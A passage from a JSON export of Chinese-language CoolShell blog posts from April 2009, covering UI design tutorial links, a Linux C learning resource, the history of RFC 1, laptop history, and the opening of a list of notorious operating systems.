    "content": "---\nlayout: post\ntitle: 35个强大的UI设计教程\ndate: 2009/4/7/ 9:2:42\nupdated: 2009/4/7/ 9:2:42\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是35个非常不错的UI设计的的教程及效果图，非常不错哦。不但教你如何做一些特效，同样教你如何做UI布局和界面设计。当然，他们风格迥异，也基本上都是Web页面上的。都非常不错。希望你喜欢。（点击下面的图片可以打开相关的教程）\n\n\n[Old Paper Layout  \n\n![18](../wp-content/uploads/2009/04/18.jpg \"18\")](http://www.talk-mania.com/web-layouts/43999-old-paper-layout-great-portfolio-layout.html)\n\n\n\n[Professional Modern Web Layout  \n\n![116](../wp-content/uploads/2009/04/116.jpg \"116\")](http://www.adobetutorialz.com/articles/2841/Professional-Modern-Web-Layout)\n\n\n[Photography portfolio Design  \n\n![107](../wp-content/uploads/2009/04/107.jpg \"107\")](http://www.adobetutorialz.com/articles/2931/1/Photography-portfolio)\n\n\n[Professional header design for your website  \n\n![final_small](../wp-content/uploads/2009/04/final-small.gif \"final_small\")](http://www.tutorialshot.com/professional-header-design-for-your-website/)\n\n\n[Glossy-Style Carbon Fibre Navigation Buttons  \n\n![glossy-clan-navigation](../wp-content/uploads/2009/04/glossyclannavigation.jpg \"glossy-clan-navigation\")](http://www.photoshopstar.com/web-graphics/glossy-style-carbon-fibre-navigation-set/)\n\n\n[Photoshop Paper Texture from Scratch then Create a Grungy Web Design with it!  \n\n![final](../wp-content/uploads/2009/04/final.jpg \"final\")](http://psdtuts.com/tutorials/interface-tutorials/photoshop-paper-texture-from-scratch-then-create-a-grungy-web-design-with-it/)\n\n\n[Volkswagen Inspired Navigation  \n\n![final-nav](../wp-content/uploads/2009/04/finalnav.jpg \"final-nav\")](http://pshero.com/archives/volkswagen-inspired-navigation)\n\n\n[Creating A Glossy 3D Button  \n\n![finished-300x146](../wp-content/uploads/2009/04/finished300x146.jpg \"finished-300x146\")](http://magnusfx.com/graphics/creating-a-glossy-3d-button)\n\n\n[Royal Interface – Design Tutorial  \n\n![royfinal](../wp-content/uploads/2009/04/royfinal.jpg \"royfinal\")](http://www.pstut.info/tutorials/royal-interface/)\n\n\n[Design Watercolor Effect Menu  \n\n![menu-sample](../wp-content/uploads/2009/04/menusample.jpg \"menu-sample\")](http://www.webdesignerwall.com/tutorials/design-watercolor-effect-menu/)\n\n\n[Tutzor web 2.0 style design  \n\n![Final_large](../wp-content/uploads/2009/04/final-large.jpg \"Final_large\")](http://www.tutzor.com/index.php/2008/05/tutzor-web-20-style-re-design/)\n\n\n[Black Website Design  \n\n![web_medium](../wp-content/uploads/2009/04/web-medium.jpg \"web_medium\")](http://alfoart.com/black_design_1.html)\n\n\n[How to Create a Simple & Sleek Web 2.0 Site Footer  \n\n![sleekweb20final](../wp-content/uploads/2009/04/sleekweb20final.jpg \"sleekweb20final\")](http://psdtuts.com/interface-tutorials/how-to-create-a-simple-sleek-web-20-site-footer/)\n\n\n[How to Create a Grunge Web Design in Photoshop  \n\n![click](../wp-content/uploads/2009/04/click.jpg \"click\")](http://psdtuts.com/tutorials/interface-tutorials/how-to-create-a-grunge-web-design-in-photoshop/)\n\n\n[Design a Professional Design Studio Web Template in Adobe Photoshop  \n\n![final](../wp-content/uploads/2009/04/final.png \"final\")](http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/)\n\n\n[Corporate WordPress Style Layout  \n\n![photoshop_tutorial_22](../wp-content/uploads/2009/04/photoshop-tutorial-22.jpg \"photoshop_tutorial_22\")](http://psdvibe.com/2009/01/20/corporate-wordpress-style-layout/)\n\n\n[Create a Vibrant Modern Blog Design in Photoshop  \n\n![37](../wp-content/uploads/2009/04/37.jpg \"37\")](http://www.blog.spoongraphics.co.uk/tutorials/create-a-vibrant-modern-blog-design-in-adobe-photoshop)\n\n\n[Design a Simple Rounded Content Box in Photoshop  \n\n![Result](../wp-content/uploads/2009/04/result.gif \"Result\")](http://www.originmaker.com/2008/simple-content-box-photoshop-tutorial/)\n\n\n[Design a Cartoon Grunge Web site Layout  \n\n![cartoonclick](../wp-content/uploads/2009/04/cartoonclick.jpg \"cartoonclick\")](http://psdtuts.com/interface-tutorials/design-a-cartoon-grunge-website-layout/)\n\n\n[Design a Unique Grungy Website Layout  \n\n![grungydesignfinalsmall](../wp-content/uploads/2009/04/grungydesignfinalsmall.jpg \"grungydesignfinalsmall\")](http://psdfan.com/designing/design-a-unique-grungy-website/)\n\n\n[A Scrap Of Notebook Paper  \n\n![tornfinal](../wp-content/uploads/2009/04/tornfinal.jpg \"tornfinal\")](http://pshero.com/archives/a-scrap-of-notebook-paper)\n\n\n[Creating A Glossy Navigation Bar  \n\n![final1](../wp-content/uploads/2009/04/final1.png \"final1\")](http://magnusfx.com/graphics/creating-a-glossy-navigation-bar)\n\n\n[Making the ‘Clean Grunge’ Blog Design Photoshop tutorial  \n\n![cleang28](../wp-content/uploads/2009/04/cleang28.jpg \"cleang28\")](http://psdfan.com/tutorials/designing/making-the-clean-grunge-blog-design/)\n\n\n[Sound System Studio Web Layout Photoshop tutorial  \n\n![88bluedesign](../wp-content/uploads/2009/04/88bluedesign.jpg \"88bluedesign\")](http://www.adobetutorialz.com/articles/2867/1/Sound-System-Studio-Web-Layout)\n\n\n[Platinum Shiny, Glossy and Slick Web Design Photoshop tutorial  \n\n![platinum_medium](../wp-content/uploads/2009/04/platinum-medium.jpg \"platinum_medium\")](http://alfoart.com/platinum_webdesign_1.html)\n\n\n[Design Studio Layout – Photoshop Tutorial  \n\n![design_studio2_big](../wp-content/uploads/2009/04/design-studio2-big.gif \"design_studio2_big\")](http://hv-designs.co.uk/2008/11/24/design-studio-layout-2/)\n\n\n[How To Draw The Billings Application Icon  \n\n![step5.3](../wp-content/uploads/2009/04/step53.png \"step5.3\")](http://flyosity.com/tutorial/billings-icon-design-tutorial.php)\n\n\n[Clean Vertical Navigation Interface in Photoshop  \n\n![Final](../wp-content/uploads/2009/04/final.gif \"Final\")](http://netcades.com/2008/07/21/clean-vertical-navigation-interface-in-photoshop/)\n\n\n[Website Design Studio  \n\n![70](../wp-content/uploads/2009/04/70.jpg \"70\")](http://www.adobetutorialz.com/articles/2988/1/Website-Design-Studio)\n\n\n[Creating A Professional Magazine Web Layout  \n\n![previewsiteutt](../wp-content/uploads/2009/04/previewsiteutt.png \"previewsiteutt\")](http://kailoon.com/creating-a-professional-magazine-web-layout/)\n\n\n[Design Agency Layout Photoshop tutorial  \n\n![agency-layout](../wp-content/uploads/2009/04/agencylayout.jpg \"agency-layout\")](http://www.talk-mania.com/web-layouts/39171-design-agency-layout-tutorial-151-a.html)\n\n\n[Modern Web Search Bar Photoshop tutorial  \n\n![26searchbut](../wp-content/uploads/2009/04/26searchbut.jpg \"26searchbut\")](http://www.idotutorials.com/2008/08/21/modern-web-search-bar/)\n\n\n[Design a Professional Design Studio Web Template in Adobe Photoshop  \n\n![finalprofdesign](../wp-content/uploads/2009/04/finalprofdesign.jpg \"finalprofdesign\")](http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/)\n\n\n[Create a Professional Gaming Header Photoshop tutorial  \n\n![headertutfin](../wp-content/uploads/2009/04/headertutfin.jpg \"headertutfin\")](http://www.idotutorials.com/2008/10/06/create-a-professional-gaming-header/)\n\n\n[Carbon Fiber Layout Photoshop tutorial  \n\n![cfl28layout](../wp-content/uploads/2009/04/cfl28layout.jpg \"cfl28layout\")](http://psdlearning.com/2008/08/carbon-fiber-layout/)\n\n\n也欢迎你和大家分享这里没有列出来的。\n\n\n文章：[来源](http://www.problogdesign.com/resources/35-awesome-user-interface-design-tutorials/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![用户界面和用户体验的差别](../wp-content/uploads/2010/10/UI-150x150.gif)](https://coolshell.cn/articles/3142.html)[用户界面和用户体验的差别](https://coolshell.cn/articles/3142.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\nThe post [35个强大的UI设计教程](https://coolshell.cn/articles/363.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-7 Linux C 编程一站式学习.md",
    "content": "---\nlayout: post\ntitle: Linux C 编程一站式学习\ndate: 2009/4/7/ 5:47:49\nupdated: 2009/4/7/ 5:47:49\nstatus: publish\npublished: true\ntype: post\n---\n\n个人认为这是一个挺不错的从C语言到Linux系统开发的教程，这本是两个网上的文档。\n\n\n* 其中 一本是《How To Think Like A Computer Scientist: Learning with C++ 》作者Allen B. Downey。原书由Green Tea Press发行，可以从<http://www.greenteapress.com/>下载到。\n* 另一本是：《Programming from the Ground Up: An Introduction to Programming using Linux Assembly Language》作者Jonathan Bartlett。原书由Bartlett Publishing发行，可以从<http://savannah.nongnu.org/projects/pgubook/>下载到。\n\n\n不过非常高兴的是有要把这两个文档都翻译成了中文。当然，翻译工作还没有完全完成，第三部分还很粗糙，错误也有不少，有待改进。第一部分和第二部分已经比较成熟，第二部分还差三章没写。不过现在可以阅读了。\n\n\n下面是这个文档的网站链接：\n\n\n<http://learn.akae.cn/media/index.html>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\nThe post [Linux C 编程一站式学习](https://coolshell.cn/articles/360.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-8 RFC1 40岁生日.md",
    "content": "---\nlayout: post\ntitle: RFC1 40岁生日\ndate: 2009/4/8/ 13:44:1\nupdated: 2009/4/8/ 13:44:1\nstatus: publish\npublished: true\ntype: post\n---\n\n昨天（2009年4月7日）是RFC 1的40岁生日。注意，这不是KFC，而是RFC。;-)\n\n\n1969年的今天，我们有一第一个RFC（<http://www.faqs.org/rfcs/rfc1.html>）。这成为了以后整个Internet的基础。\n\n\n所谓RFC，全称为Request For Comments ，是一系列以编号排定的文件。文件收集了有关互联网相关资讯，以及UNIX和互联网社群的软件文件。目前RFC文件是由Internet Society（ISOC）所赞助发行。\n\n\nRFC包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家，那么RFC无疑是最重要也是最经常需要用到的资料之一，所以RFC享有网络知识圣经之美誉。通常，当某家机构或团体开发出了一套标准或提出对某种标准的设想，想要征询外界的意见时，就会在Internet上发放一份RFC，对这一问题感兴趣的人可以阅读该RFC并提出自己的意见；绝大部分网络标准的制定都是以RFC的形式开始，经过大量的论证和修改过程，由主要的标准化组织所制定的，但在RFC中所收录的文件并不都是正在使用或为大家所公认的，也有很大一部分只在某个局部领域被使用或并没有被采用，一份RFC具体处于什么状态都在文件中作了明确的标识。\n\n\n\n**RFC的历史**\n\n\nRFC文件格式最初作为ARPA网计划的基础起源于1969年。如今，它已经成为IETF、Internet Architecture Board (IAB)还有其他一些主要的公共网络研究社区的正式出版物发布途径。\n\n\n最初的RFC作者使用打字机撰写文档，并在美国国防部国防前沿研究项目署（ARPA）研究成员之间传阅。1969年12月，他们开始通过ARPANET途径来发布新的RFC文档。第一份RFC文档由洛杉矶加利福尼亚大学（UCLA）的Steve Crocker撰写，在1969年4月7日公开发表的RFC 1。当初Crocker为了避免打扰他的室友，是在浴室里完成这篇文档的。\n\n\n在1970年代，很多后来的RFC文档同样来自UCLA，这不仅得益于UCLA的学术质量，同时也因为UCLA是ARPANET第一批Interface Message Processors (IMPs)成员之一。\n\n\n由Douglas Engelbart领导的，位于Stanford Research Institute的Augmentation Research Center (ARC)是四个最初的ARPANET结点之一，也是最初的Network Information Centre，同时被社会学家Thierry Bardini记录为早期大量RFC文档的发源地。\n\n\n从1969年到1998年，Jon Postel一直担任RFC文档的编辑职务。随着美国政府赞助合同的到期，Internet Society（代表IETF），和南加州大学（USC）Information Sciences Institute的网络部门合作，（在IAB领导下）负责RFT文档的起草和发布工作。Jon Postel继续担任RFC编辑直到去世。随后，由Bob Braden接任整个项目的领导职务，同时Joyce Reynolds继续在团队中的担任职务。\n\n\n庆祝RFC的30周年的RFC文件是RFC 2555。\n\n\n**RFC文件的架构**\n\n\nRFC文件只有新增，不会有取消或中途停止发行的情形。但是对于同一主题而言，新的RFC文件可以声明取代旧的RFC文件。RFC文件是纯[ASCII](https://coolshell.cn/w/index.php?title=ASCII&variant=zh-cn \"ASCII\")文字档格式，可由电脑程式自动转档成其他档案格式。RFC文件有封面、目录及页首页尾和页码。RFC的章节是数字标示，但数字的小数点后不补零，例如4.9的顺序就在4.10前面，但9的前面并不补零。[RFC1000](http://www.faqs.org/rfcs/rfc1000.html \"http://www.faqs.org/rfcs/rfc1000.html\")这份文件就是RFC的指南。\n\n\n**RFC文件的产生**\n\n\nRFC文件是由Internet Society审核后给定编号并发行。虽然经过审核，但RFC也并非全部严肃而生硬的技术文件，偶有恶搞之作出现，尤其是4月1日愚人节所发行的，例如[RFC 1606](http://tools.ietf.org/html/rfc1606 \"http://tools.ietf.org/html/rfc1606\"): A Historical Perspective On The Usage Of IP Version 9（参见[IPv9](https://coolshell.cn/w/index.php?title=IPv9&variant=zh-cn \"IPv9\")）、[RFC 2324](http://tools.ietf.org/html/rfc2324 \"http://tools.ietf.org/html/rfc2324\")：“[超文字咖啡壶控制协定](https://coolshell.cn/w/index.php?title=HTCPCP&variant=zh-cn \"HTCPCP\")”（*Hyper Text Coffee Pot Control Protocol*，乍有其事的写了**HTCPCP**这样看起来很专业的术语缩写字）。以及如前面所提到纪念RFC的30周年庆的RFC文件。\n\n\n**相关链接**\n\n\n* [IETF RFC](http://www.ietf.org/rfc.html \"http://www.ietf.org/rfc.html\")\n* [RFC Editor](http://www.rfc-editor.org/ \"http://www.rfc-editor.org\")\n* [RFC的中译文档](http://www.cnpaf.net/class/rfc \"http://www.cnpaf.net/class/rfc\")\n\n\n上面的资料来源于维基百科：<http://zh.wikipedia.org/wiki/RFC>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Internet 技术演变图](../wp-content/uploads/2009/07/Internet-150x150.jpg)](https://coolshell.cn/articles/1178.html)[Internet 技术演变图](https://coolshell.cn/articles/1178.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/4907.html)[在函数外存取局部变量的一个比喻](https://coolshell.cn/articles/4907.html)\n* [![TCP网络关闭的状态变换时序图](../wp-content/uploads/2009/09/tcp1-150x150.jpg)](https://coolshell.cn/articles/1484.html)[TCP网络关闭的状态变换时序图](https://coolshell.cn/articles/1484.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2631.html)[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)\n* [![编程时间分配图](../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png)](https://coolshell.cn/articles/2990.html)[编程时间分配图](https://coolshell.cn/articles/2990.html)\nThe post [RFC1 40岁生日](https://coolshell.cn/articles/373.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-8 笔记本电脑的发展史.md",
    "content": "---\nlayout: post\ntitle: 笔记本电脑的发展史\ndate: 2009/4/8/ 15:2:59\nupdated: 2009/4/8/ 15:2:59\nstatus: publish\npublished: true\ntype: post\n---\n\n这是一段比较有趣的历史，让我们回顾一下笔记本电脑的整个历史吧。可能叫便携式电脑比较好一点。\n\n\n**1970 – 1981 第一个便携式的电脑概念**\n\n\n上世纪70年代，Alan Kay 在 Xerox PARC开始有了便携式个人电脑的想法。到了1981年， Osborne 1问世，其由Adam Osborne创造。如下图。Osborne 1 有一个5英寸的屏幕，还有一个可选的电池，两个5 ¼” 软驱，一个 modem 接口，还有一个键盘。当时的价格是$1,800（包括一块电池）。\n\n\n[![osborne1](../wp-content/uploads/2009/04/osborne1.jpg \"osborne1\")](https://coolshell.cn/wp-content/uploads/2009/04/osborne1.jpg)\n\n\n \n\n\n### 1981 – 1984 : Gavilan 和 IBM\n\n\n没有多久Gavilan Mobile Computer公司也进入了这个行业。其第一个便携式电脑的原型和今天的笔记本电脑非常相似，而且只有4公斤重并且配备了一个可以运行9个小时的镍镉电池。无论是从性能还是设计上来说，在1983年，这已经是非常超前的。而且这是 Galvin 第一次向市场引入了“移动PC”的术语。\n\n\n[![gavilan-mobile-computer](../wp-content/uploads/2009/04/gavilan-mobile-computer.jpg \"gavilan-mobile-computer\")](https://coolshell.cn/wp-content/uploads/2009/04/gavilan-mobile-computer.jpg)\n\n\nOsborne 1的出现后， 微软公司的Kazuhiko Nishi 开始了一个便携式电脑的原型，其采用了LCD显示屏，重量2 kilos，叫做“Radio Shack TRS-80 Model 100 Mobile Computer”，有一个 modem，还有一个无线电通讯的程序，以及一个文本编辑器和一个由微软开发的小程序。总的来说，这更像是一个无线装置。（如下图）\n\n\n[![radio-shack-trs-80-model-100-mobile-computer](../wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg \"radio-shack-trs-80-model-100-mobile-computer\")](https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg)\n\n\n随着我们的“Radio Shack”让我们的便携式电脑看起来更像是笔记本电脑，IBM也开发进入这个市场，其于1984年开发了Portable PC 5155。但是，这个便携式电脑犯了一个可怕的错误，那就是其“便携”的重量有13.6公斤，而且有一个9英寸的显示器，价格在$ 4000。而且，你还得随时插在电脑插座上，因为它根本没有电池。所以，5155 充其量只不过是一个“可以容易搬动的台式电脑”。不过非常感谢IBM的是，他们只用了1年的时间就终止了这个畸形的产物。\n\n\n[![ibm-portable-pc-5155](../wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg \"ibm-portable-pc-5155\")](https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg)\n\n\n \n\n\n### 1984 – 1988: Compaq\n\n\n在接下来的几年，笔记本电脑几乎没有什么发展。不过Compaq 公司在1988 的时候开发了一台便携式电脑Compaq SLT 286，有一个VGA的显示器，1.44英寸的软戏和一颗286的CPU，只是重量有6公斤。\n\n\n[![compaq-slt-286](../wp-content/uploads/2009/04/compaq-slt-286.jpg \"compaq-slt-286\")](https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg)\n\n\n### \n\n\n### 1989 – 1993:  NEC，Zenith的MinisPORT 以及 第一代的Macintosh\n\n\nNEC 公司改变了便携式电脑重量太重的局面，他的 NEC UltraLite model— 第一个有完整功能的基于MS-DOS的便携式PC机只有4.4 磅（2公斤左右）。而其接下来具有革命性的发展是在90年代，但其开始1989年，由 Zenith Data Systems 公司生产的 Minisport，其带 640K的RAM，1.44英寸的软驱，一个2400波特率的Modem以及一个20MB ESDI 硬盘。虽然其只有一个彩色的LCD显示器，但是，也足够不错了。从此开始了便携电脑的新纪元。\n\n\n[![zeniths-minisport](../wp-content/uploads/2009/04/zeniths-minisport.jpg \"zeniths-minisport\")](https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg)\n\n\n接下来，我们来看一下，苹果公司的第一代Macintosh 便携机，重达8公斤，但是其有 9.8英寸的最大分辨率有 640 x 400像素的显示器。\n\n\n[![macportable](../wp-content/uploads/2009/04/macportable.jpg \"macportable\")](https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg)\n\n\n到了1993年，我们开始有了 256色的显示器，其代表产品是PowerBook 165c。然后，我们开始进入今天，百万像素的真彩色显示器，更好和更轻的的笔记本电脑，更为灵活的设计，更好的性期，并开始有了多媒体包括CD-ROM。然后，真正没有让笔记本电脑流行的是，笔记本电脑的性价比，价格太贵了，像ThinkPad和MacBook也是在那时出现的，但是没有多少人能真正地买得起。\n\n\n[![powerbook-165c](../wp-content/uploads/2009/04/powerbook-165c.jpg \"powerbook-165c\")](https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg)\n\n\n \n\n\n**1996 – 2003 : Panasonic 的ToughBooks 和Intel 处理器**\n\n\n1996年Panasonic 公司引入了新一代的笔记本电脑——Toughbook (CF-25)，70 cm高，可以抵抗灰尘和水气，非常明显，松下公司想改变便携式电脑的观念，感觉上这个电脑更像是一个军用的。就算是使用枪击过的电脑，电脑也能正常工作。\n\n\n [![panasonic-toughbook-cf-25-bullets](../wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg \"panasonic-toughbook-cf-25-bullets\")](https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg)\n\n\n以后，直到2003年，直到Intel开发出了不可思异地低能耗的 Pentium M 处理器，其在整个笔记本电脑的发展上写下了重重的一笔，而且价格上开始了巨大的松动，于是笔记本电脑也开始进了一平常百姓家里。\n\n\n **今天和未来**\n\n\n让我们来看看今天的电脑吧。今天，无线连接，蓝牙，Wi-Fi,  DVD 光驱, 高级显卡，宽屏，超薄，口袋电脑，……\n\n\nApple Macbook Air\n\n\n[![macbook-air](../wp-content/uploads/2009/04/macbook-air.jpg \"macbook-air\")](https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg)\n\n\nAsus EEE PC S101\n\n\n[![asus-eee-pc-s101](../wp-content/uploads/2009/04/asus-eee-pc-s101.jpg \"asus-eee-pc-s101\")](https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg)\n\n\n \n\n\n我们再来看看未来的电脑，下图是Sony VAIO Zoom，一台使用全息技术的笔记本电脑。可能未来还不止如此，让我们一起期望……\n\n\n[![sony-zoom](../wp-content/uploads/2009/04/sony-zoom.jpg \"sony-zoom\")](https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg)\n\n\n文章：[来源](http://www.geekwithlaptop.com/laptop-revolution-where-size-does-mater-a-whole-lot/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我有一个Hello World的C++程序编译不过](../wp-content/uploads/2011/04/JQXWL-150x150.png)](https://coolshell.cn/articles/4170.html)[我有一个Hello World的C++程序编译不过](https://coolshell.cn/articles/4170.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2036.html)[2010 = 1+2-(3-4-5)\\*6\\*7\\*8-9](https://coolshell.cn/articles/2036.html)\n* [![80个优秀的AJAX方案](../wp-content/uploads/2009/03/34-gnome-1-150x150.gif)](https://coolshell.cn/articles/57.html)[80个优秀的AJAX方案](https://coolshell.cn/articles/57.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4561.html)[对程序员职业的一些建议](https://coolshell.cn/articles/4561.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/1142.html)[BT雷人的程序语言](https://coolshell.cn/articles/1142.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\nThe post [笔记本电脑的发展史](https://coolshell.cn/articles/378.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-9 十大史上最恶心的操作系统.md",
    "content": "---\nlayout: post\ntitle: 十大史上最恶心的操作系统\ndate: 2009/4/9/ 16:57:56\nupdated: 2009/4/9/ 16:57:56\nstatus: publish\npublished: true\ntype: post\n---\n\n[Computer World](http://www.computerworld.com/)上有人评出了有史以来十大臭名照著的操作系统，我们来看看倒底有那些，顺便也回顾一下操作系统的历史。下面的顺序通过时间顺序由古至今。\n\n\n#### [OS/360](http://www.britannica.com/EBchecked/topic/1461036/IBM-OS360), 1964\n\n\n这里，说的不是后面新版的OS/360，这里说的是60年代未70年代初的第一版的OS/360。当时的Project Manager，Fred Brooks， 《人月神话》 *[The Mythical Man-Month](http://www.amazon.com/reader/0201835959#reader)*的作者，这是一本非常经典的告诉你软件开发是如何失败的一本书。在书中，Brooks解释说，他们需要了比较计划更多的内存，最后导致了预算超标了好几次，当然，最终这个操作系统还是很慢。另一方面，这本书中也出现了一句网络上的流行语：”Adding manpower to a late software project makes it later.” （在项目的后期加入人手只会让项目更拖）Brooks 喜欢像一本软件开发者的圣经一样描述，因为”everybody reads it, but nobody does anything about it.” 在书中他展开描述了这个故事后，我们才知道他是对的。\n\n\n\n#### [**ITS**](http://en.wikipedia.org/wiki/Incompatible_Timesharing_System)(Incompatible Timesharing System), 60年代后期\n\n\n 在 DEC PDP-6 和PDP-10 使用汇编语言开发的操作系统上，当你面对着——每一个目录中只能有一个6个字符的文件时，每一个目录？（是的，每一个文件必需放在一个目录中，每一个目录也只能放一个文件），你会有什么样的想法？并且，这个操作系统的安全等零，例如：没有口令系统，你可以随意地登录，并且可以干所有的事。\n\n\n但是，实际上来说，ITS却是一个非常重要的操作系统，因为它最终发展成了顶顶大名的Unix，今天许许多多的程序，如 [Emacs 编辑器](http://www.gnu.org/software/emacs/) 和 [Lisp语言](http://knowledgerush.com/kr/encyclopedia/Lisp_programming_language/)，都是从ITS开始的。ITS操作系统，也是电脑黑客最早出现的地方，你可以看一看，Steve Levy 的经典图书 *[Hackers](http://www.amazon.com/Hackers-Computer-Revolution-Steven-Levy/dp/0141000511)*.。你会在这本书里找到娱乐和有趣，并会非常高兴自己并没有使用过这个操作系统。\n\n\n \n\n\n#### [GNU Hurd](http://www.gnu.org/), 1983启动，至今也没有完成\n\n\n你想知道为什么今天的Linux要叫做GNU/Linux吗？官方的解释是，Linux只不过是操作系统的内核（[OS kernel](http://www.webopedia.com/TERM/k/kernel.html) ），而其周围全是GNU的软件，从而成为了一个完整的操作系统。 [GNU](http://www.gnu.org/) 曾经在1983年向全世界宣告他们会在未来开发出一个取代Unix的操作系统，以此作为整个自由软件的操作系统。\n\n\n但是，25年过去了，GNU还是什么也没有完成，其操作系统内核 [Hurd](http://www.gnu.org/software/hurd/hurd/what_is_the_gnu_hurd.html)，就重来没有真正的开始工作过。虽然这是一个可能非常理想的操作系统，但作者把这个操作系统归入Top 10的理由是——经过了四分之一个世纪，GNU并没有按照自己的承诺完成对Unix的替代。但这个事情却被别的软件所取代，比如：Linux和BSD Unix，让我们看一下Linux那夸张的[数量众多的发行版](http://en.wikipedia.org/wiki/List_of_Linux_distributions)吧。\n\n\n#### [Windows 1.01](http://en.wikipedia.org/wiki/Windows_1.0), 1985\n\n\nMicrosoft第一次尝试图形用户接口是为了 MS-DOS ，用一个词来形容，就是 dreadful。相当的ugly，用了两年的时间来开发但却几乎无法很好的工作。另外，这个图形界面中几乎没有什么可以运行的东西。直到两年后的Windows 2.03 ，Windows才开始像点样了。\n\n\n再让我们对这个操作系统加点侮辱性的词汇吧，自从Windows 1 发布以来，Mac 早就提供了起前的 System 2.1，当时的Mac OS 包含了AppleTalk 网络，PostScript 可以使用激光打印机，以及最早的PC文件系统：Hierarchical File System. 连比都没法比。\n\n\n#### [MS-DOS 